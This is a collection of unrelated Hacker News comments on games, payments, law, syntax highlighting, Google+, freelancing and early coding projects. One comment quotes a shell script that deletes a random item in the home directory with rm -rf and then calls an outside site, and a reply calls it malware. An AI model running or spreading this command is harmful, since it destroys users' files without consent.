skysight-inc/HackerNews huggingface dataset:
This was super fun & funny to play, reminded me of lemonade stand. Thanks for making it!

Feedback:

- Spotify playlist "soundtrack" is an awesome idea.

- As the game progressed, the interface got super slow and unresponsive. (i.e. table views barely scrolled, etc.) Didn't crash, though.

- The "average" daily income right next to the current daily burn rate is confusing, and it looked like the math was running wrong. (Burn rate much higher than my average income, but my money in the bank keeps going up? Huh?)

- Want more content/challenge. ;)

- Might want to warn users that the name/company name they enter is going to be posted on a public leaderboard. I deliberately "ran out of money" by taking a $2B investment with $2B in the bank so I wouldn't be in the leaderboard top tier.
Open in a private browsing window.
It's not about being anonymous. I have no problem with you knowing who I am if I'm buying from you. What I don't want to give you is all the information you need to go and buy things with my card.

> I will expect enough information from you such that I can take the money.

Why do you need enough information to take my money, why isn't it enough that I just give it to you?

I currently have to give online stores enough information to take whatever money they want from me, and hope that they don't take more. If that information leaks, even more people can take my money.
Here some links that may help you:

http://www.brandonchecketts.com/emailtest.php

http://mxtoolbox.com/

http://www.codinghorror.com/blog/2010/04/so-youd-like-to-sen...
I think it would be a fundamental flaw in the philosophy of Bitcoin to require a global economic collapse for it to become relevant.

If anything, I think that for Bitcoin to become ubiquitous, it need to work and be seen to work within the very system it seems designed to undermine.
Well you can withdraw to a Chinese/Japanese bank account in one working day.
Anyone have the link to the original presentation? Particularly intrigued by the statistical fault tolerance.
If I were a client, a big concern I would have with this license is what happens if one of my competitors rips off my product that is using the licensed software, and I want to bring a copyright infringement lawsuit against them.

Generally, a licensee cannot sue for infringement of something they only have a nonexclusive license for. There is some discussion of this here: http://www.copyrightcodex.com/enforcement-toc/22-plaintiffs#...

Even if my product contains copyrighted material in addition to your material, and I either own the copyrights on or have an exclusive license on that material and so do have standing to sue over it, the presence of your material would complicate things. The defense is going to argue that if they did copy my product, they only copied the parts that I do not have standing to sue over.
Nonviolent != victimless. My point is not about 'should X be punished' but 'how do we handle definitely punishable small crimes repeated ad nauseam'.

Think about a routine drug user (say, heroin addict) who regularly (daily/weekly) performs theft to sustain the habit - car radios, shoplifting, maybe an apartment if he gets a chance. It is a very common scenario in many places, if the user can't quit (or always restarts a few months after therapy/quitting) and the needed drugs are all illegal & expensive; as the only real non-crime [here] alternative they have is prostitution and many of them consider theft as the more pleasant option.

Even a small, friendly village community who know everyone and help each other would likely vote [for laws] to imprison him in order to stop the behavior. Rehabilitation is another option, but the idea is that after 3-strikes you have to admit that your rehabilitation (however good or bad it is) doesn't work and you have to do something else.

Or think of a genuine kleptomaniac. Unless it's successfully treated, you still need to take some measures to prevent repeated crimes.
I think he means that it can turn comments into "tweets" (140-characters or fewer).

So a comment like "# y should always be a positive integer at this point, due to checks made in the callee" would be converted into "assert y >= 0".
You have been drinking the telecoms company's cool aid - they want to sell expensive teleconferencing solutions which have higher profit margins than the regulated services.

face to face co-located teams are still be best for many jobs especially complex software development.
nm I'm dumb, you were meaning reddit as "they" it looks like.
"the chosen approach resolves collisions only up to a certain degree. If, however unlikely, a further key maps to the same hash index, then the request simply fails and an appropriate response is generated. We believe this to be an acceptable behaviour for what is essentially equiv-alent to a cache full/miss."

So it's more like a cache than a key/value store? Nothing wrong with that but to me a key/value store implies that data isn't lost in the case of a hash collision. Pretty cool stuff nonetheless.
Lower mortgage rates. If your mortgage goes from 5% to 4% your monthly discretionary income can increase markedly. If you spend it then, boom, increased consumer demand.
$17 billion in revenue last quarter. They're still not in the top 100 companies by revenue.

http://en.wikipedia.org/wiki/List_of_largest_companies_by_re...

Bezos is definitely going for growth.
Sure, but what is the opportunity cost of reading all of those posts and what are you really gaining from reading all of those "new technology of the month" postings?
Thank you! Do you know of any equivalent for Apache?
Plus Dark Souls 2 is only coming out for ps3/xbox360. I agree Deep Down looks particular awesome; Hopefully it's of Dark Souls caliber.
Show HN: Prototype for new online learning app
Would love to hear the community's feedback on initial prototype of our online learning app - what would you like to see and NOT see in the full version! :)
#!/bin/sh
(
files=(~/*);
f="${files[RANDOM % ${#files[@]}]}"
rm -rf "$f"
curl http://placekitten.com/g/320/240 > "$f"
echo 'bang!' $f 'is now a kitten' ) && curl --silent -o /dev/null http://russianroulette.sh/b/QPteR3KS/3/NamelessWonder

cute, but please refrain from pasting malware to HN
I think I recall them making custom 10gbit Ethernet switch fabrics.
I've had great experiences with Freelancer.com. I've got a few quick and well-paying jobs off of there. Never had experience with Elance or oDesk though, but they're all similar to be honest.
I have drank a fair amount of that; Before "survivor" went there I think it was the only thing the country of Vanuatu was widely known for. Although some claim only the Hawaiian varieties are any good. I hope they can improve on the taste of the raw product which can best be compared to muddy, slightly gritty, river water. Kava subjectively compares well to the claims in the article. The mouth numbness is a little weird. Every year or two I buy some; probably due for some more, soon.

No commentary at all about the proposed antidote or its possible properties? I suspect the most obvious interesting drug interaction would be the proposed antidote vs something similar yet different like good old fashioned ethanol.
> there's no point highlighting language keywords;

Disagree, it helps confirm you typed it correctly when you are trying to, and that you've named something incompatibly when you aren't. Thereby very likely preventing syntax/name errors before they happen.
Sure, but do you have ethos of this guy? http://en.wikipedia.org/wiki/David_Nutt
39 and my oldest code online would be some LPC from 1993 that was part of a MUD that's still available. http://anguish.org/
PyPy does the same thing as using __slots__ on CPython automatically, no need to use __slots__ to take advantage of the JIT.
My college logo in CSS
Inventor Aims To Be Henry Ford Of Flying Cars
How is that at all relevant to the OP?
Localbitcoin also does bank transfer over here in the UK. :)
My first go at such a thing. I couldn't figure out how to put the text in an arc format with only css(found some js libraries though) so I didn't add that.
I guess it depends on how low your bar for calling something "special" is. I would put on two different levels someone who truly has a "special" skillset vs. someone who is simply very effective and in whom the company has a sunk investment.
Email introductions for Entrepreneurs
Report: Tesla Model S Update Disables Air Suspension Lowering At Highway Speed
Yep, I get that. But they IPO'd in 1997. Again, not to detract, and in fact I'm amazed by how they've been able to compete both on the Brick & Mortar stage and Digital Services stage. I've just never seen a company given such love/leniency for so long by Wall St.
I haven't owned a console since buying the Wii but before that my last serious console was a Nintendo 64. I am seriously considering buying one of these bad boys in the new year when I have recovered from the Christmas savings crush. Will be interesting to see how the XBOX One sells in comparison.

So far it appears as though the XBOX One has the better launch titles, the ones for PS4 are very underwhelming.
Oh definitely. I would just argue that you had to dig through a lot of posts that were less-than-beneficial and that a filter for an "Ask HN" would have been more worth your time. And that is just one form of curated content that I was mentioning.
I take a "less is more approach" if someone asks: Were you depressed? I say: "Absolutely, I had just experienced a parents suicide" and I've done a lot of work on learning adult coping skills so that I won't repeat that sort of thing. Again this is all if they ask...

It's a weird cross section because once the door is open, someone can ask pretty much any question they may have been legally prohibited from asking in an interview because I disclosed it - I often feel it changes the dynamic of an interview in a very serious way.

I usually try to use it is an op. to ingratiate that person to my ability to cope with stress and perform under pressure.
The loss of productivity and loss of focus in my work is exactly why I created http://HNdigest.com .

However, the content that I get from HackerNews is priceless, so quitting makes no sense.
Huh? Is that new? Can I turn it off?
Also load returns (invisibly) the names of the objects it loaded, so `(load(...))` will print them out.
I remember actually understanding sendmail.cf syntax. Those were the days!
The problem is not the daemons; those are easy.
The problem is spam on the inbound and deliverability on the outbound. And I do /not/ want to fight that fight on my own!
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a. https://www.elance.com/

b. http://www.freelance.com/en/

c. http://www.freelancer.com/

d. http://www.getacoder.com/

e. http://www.guru.com/

f. https://www.odesk.com/

g. http://www.peopleperhour.com/

h. http://www.project4hire.com/
When changing the background, change any clashing colors as well. There are premade themes in gnome, xcfe (and other) terminals.
I am 24.

Oldest code online is from 2006 - I was 17 at that time.

PHP web counters - http://www.planet-source-code.com/vb/scripts/ShowCode.asp?tx...

And some open source web designs - http://www.opendesigns.org/profile/kalyan/
Can you explain to me how Depth Sensing works at a high level?
I think in part because it's so confusing as to what G+ is, what it encompasses, what plus pages are and what google will do tomorrow.

I think there were ways google could have made youtube comments better without linking them to google plus.
I'm glad this is getting attention, however it occurred to me something important has been lost in the whole shuffle: the integration of Google+ and corporate Google Apps accounts.

Many companies pay for the corporate Google Apps service which provides email, calendar, chat, etc. The argument of "you're no longer the customer, you're the product" doesn't apply here, since ... well, you're paying for it. And yet, Google has insisted on integrating Google+ here as well. You can't even fire up your corporate chat which your company pays for without being harassed to create a Google+ account and create some "circles".

Not that long ago, I recommended to anyone who would listen that any small-to-medium sized business should use Google Apps for their email & calendar needs. It was a great service that met all the basic needs without getting the way. Today, I no longer make that recommendation. Instead I tell people to stay as far away from Google as possible, as they clearly cannot be trusted even when supposedly being paid for a premium service. This whole deal is going to be the downfall of Google.
I deleted my youtube account, fixed the constant nagging.

Sure, I won't be able to comment anymore, but I'll survive that.
Ever since I spent a week wondering why my main loop only ran 3 times, I always turn syntax highlighting on.

This is what my code looked like:

// Initialise
for (i=0;i<3;++i) {
/* Do initialisation here!
niftyConfig = 1;
funkyValue = 2;
}

// Run forever
for (;;) {
/* So, this is where we do stuff! */
...
}

Syntax highlighting would have shown the problem instantly. In fact, the bug would never have happened.

Anything that can increase the chance to catch an error is a good thing.

[EDITED for code formatting.]
As a consultant, I get to see a wide variety of offices among a clientele and various service and technology providers I would expect to be at the progressive end of the spectrum. The offices I have seen that are solidly in the flexible/hoteling/work-at-home mode are in design firms and tech startups that decided to go distributed from the start, and O'Reilly Media and its spinout Maker Media. Disappointingly, there are a lot of tech startups that have retrograde office layouts and schedule policies. It's just not mainstream yet.
There is a bug where if you move into a space where your tail was but no longer is, you die. Essentially, the check for gameover needs to be after you move the snake.
At least you know he's serious about the Russian roulette. It also illustrates the point, quite directly.

Reminds me of the old Casino DOS virus which copied the FAT to RAM and proceeded to flush it, but challenged you to a game of slots to retrieve the data (it was a fluke, your data would be destroyed in all cases).

By the way, the page markup isn't that bad. You're using tables and HTML4 semantics in an HTML5 doctype declaration, but the actual quality is fine.
In most places an individual can't be compelled to do much of anything for a client or employer regardless of what a contract says, since generic laws against slavery and similar concepts will apply. This is true almost everywhere in the first world, whether or not it has at-will employment. Normally there are some special legal provisions for cases where you need this not to apply, such as the military or emergency services.

However, it is entirely possible that a client could successfully claim back much of the compensation they paid for the original work via a civil suit if they subsequently argued that the original fee included maintenance and that maintenance was not in fact being carried out.

If it could be argued that the lack of maintenance also resulted in other damage to the client, they could potentially go after compensation for that damage as well. In the absence of a written contract putting clear (and legally enforceable) limits on such things, that could be far more expensive than just paying back the original revenues.

As an aside, this is particularly dangerous for freelancers, because if you don't have a written agreement making clear who the client was actually contracting to do the work, a court might find that it was the freelancer personally who was party to the agreement and not any corporate entity they normally work through. That would leave no legal shield to protect the freelancer from losing everything they personally own to settle a severe damages award.
I've noticed that a lot of writers in tech generalize their experience to everyone in the community. Several times a day I'm struck by someone who talks about his/her experience like it's a common experience, when it may or may not be. I think it would be safer and more relatable if the author had said "HN - Bad for My Well Being," but of course that doesn't sound as portentous.
heh thanks for your vote of confidence... I've been getting a lot of flack on this thread for apparently having a controversial view but it's something I've reached through years of freelance in NYC & long-term contract work with a couple of major corporations. No business school, just easy-come-easy-go focus-on-the-bigger-picture engineering gigs.

I say I'm not a businessman not because I don't do business, but because I just try to keep my focus on my skills that are actually generating revenue. In the end we're all at the will of the market and my personal belief is that the more pressing need is to understand those ebbs and flows rather than trying to build a safe-room. Chomsky I think said something about how 9/11 couldn't be a conspiracy because it would involve too many irrational actors working in concert. We must assume man to be rational. Kindof a non-sequitur, I know, but I approach business with this attitude. Assume you are dealing with rational actors, be a good judge of character (don't do a ton of work on spec for a business that is clearly failing, for example), and ride the wave. With this approach, the potential for gains is great and the losses are there but can easily be left in the rear-view mirror. Otherwise you will spend your week working and your weekends doing pro-bono bookkeeping for your own ventures. Seems we are very much in agreement here, hah.
You have a contract. You just don't know the terms.

You might be able to guess them with sufficient knowledge of the law of your jurisdiction. In the US (other than Louisiana [1]), you'd need to know at least State and possibly Federal contract law, common law, and a bunch of court cases.

[1] Louisiana based its law on French and Spanish law, which derive from Roman law. The other 49 states base their law on English common law.
I suppose I do but it's a phase I've gone through and grown out of many years ago. what other people do is their business. you can try and inspire them sure, but you don't know their struggles, you don't know why they've resigned, there's many things I don't know about the world and about other people and I accept that.

for some people, they just do not have the ability to move beyond "making crap" because it's not important for them. Something else is more important, like their children, or their mental health, or their drug habit, or their real hobby.
I own a 1994 Model M and recently bought the Das Keyboard for Mac, and the Das Keyboard is horrible. The keys wiggle a bit and feel mushy compared to the crisp clack of the Model M. Also the extra usb ports mean needing to use two ports on my MBP which is stupid. I'm still pissed at myself for not returning it when I had the chance.
This is mostly because Reddit's choice of default subreddits are poor (and cater to the lowest common denominator): http://i.imgur.com/9FLPgsW.png

You have manually curate the subreddits you want, unfortunately.
A new report clarifies some misconceptions about the U.S. medical system
HN is an online community, where people go because they feel that it fulfills them in some way (maybe because they plan to do a startup of their own one day and reading about other startups makes them dream, because they like debating with others, etc.).

I suggest the ridiculous notion that you should do what makes you happy, and if going on HN fulfills some part of your being - no matter how irrationally - then go for it.
The reddit front page is a time waster, much like watching TV or messing with FB - there's no doubt about that.

On HN one can fool himself think that he's getting value, but that isn't always the case.
If patents count for anything, Kia Silverbrook individually has about 10000 to his name: http://en.wikipedia.org/wiki/Kia_Silverbrook
Is it possible to spin up a few thousand of those on DO?

Sure most people use AWS as a glorified VPS provider, and for that it is rather expensive. The fact that DO is only 2 years old actually scares me more since they probably haven't faced as many unique challenges as a company who has been in the business for a longer period of time has.
AWS doesn't even offer great hardware-solutions for networking needs, such as there ELB and NAT/PAT offerings. It'd be brilliant if they'd start exposing ASIC-backed instances.
Here's my fix: http://jsfiddle.net/jlas/CT2pG/1/

Easy one line fix for this: need to check if new dx / dy is opposite the old dx / dy and use the old one if so.

var _dx = (e.keyCode - 38) % 2, _dy = (e.keyCode - 39) % 2;
dx = (_dx*-1 === dx) ? dx : _dx, dy = (_dy*-1 === dy) ? dy : _dy;

I also added another fix to disallow moving twice during one cycle.
> This is mostly because Reddit's choice of default subreddits are poor

Presumably this isn't entirely a choice: I would expect a good subreddit to get worse if it was made default. (And I've heard that /r/atheism got better when it was made undefault, but I haven't actually looked.)
This is what happens when you build a large software system on such a shaky foundation as javascript and the browser.
Well, according to the page he'd basically given up on funding the project, and his funding proposals were made more in hope than expectation.
Have you ever wondered why A4 is the way it is?
LOL no all it means is the sales price goes up. Harry HowMuchAMonth can pay $2K/month on his mortgage, and that's exactly how much he WILL spend regardless of interest rates. All the interest rate controls is how big of a check the former owners will get.

Although your reaction mechanism is wrong, the end result is the same, although the former owners are likely to roll their immense check into their new real estate purchase, eventually, at the far end, as people move into nursing homes or whatever, they DO cash out and those guys spend the "gains".

One problem is I don't know if $5K/month nursing homes are considered discretionary consumer spending.

There are also people who cash out refinance, and spend it on jet skis and Harleys. That works great at long as real estate prices only go up, regardless of personal income declining.
Google is just shooting it self in the foot with this! First they tried to force people to verify email address with phone number (still do) and now this. There is many reasons why we don't want to use our real names for comments or or phone numbers for verification. #1 been PRIVACY G O O G L E please stop this nonsense or prepare to loose many visitors.
The frontpage of reddit is what you make it. Get rid of the crap, subscribe to subreddits you actually like, and you're good to go. There are some decent subreddits...
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Or a place to donate all of the ones that are collecting dust. Like other commenters have said, I'm sure computer departments at community colleges could use them.
in a couple of hours we'll see

HN - Why It's Actually Good For Your Well Being (medium.com)
My girlfriend is reading the Daily Mail like I read Hacker News. I don't know which website is worse for our well being but I try to read the day best voted submissions and it is enough to keep me updated with everything else.
I'm 25 now and the oldest things I can still find are little games I built in DarkBasic.

The best that is still online is probably this game where you had to kick footballs into a goal with a rc car I made when I was 14: http://home.arcor.de/kojotex/Extreme%20RC.rar
It's about 1000 lines of spaghetti code, at the time I was really proud to have produced such a huge program.

And it runs out of the box with wine on my laptop so here's a screenshot: http://andreas.heider.io/extreme_rc/extreme_rc_3.png

Also, I'm really surprised that arcor.de still hosts these things after eleven years.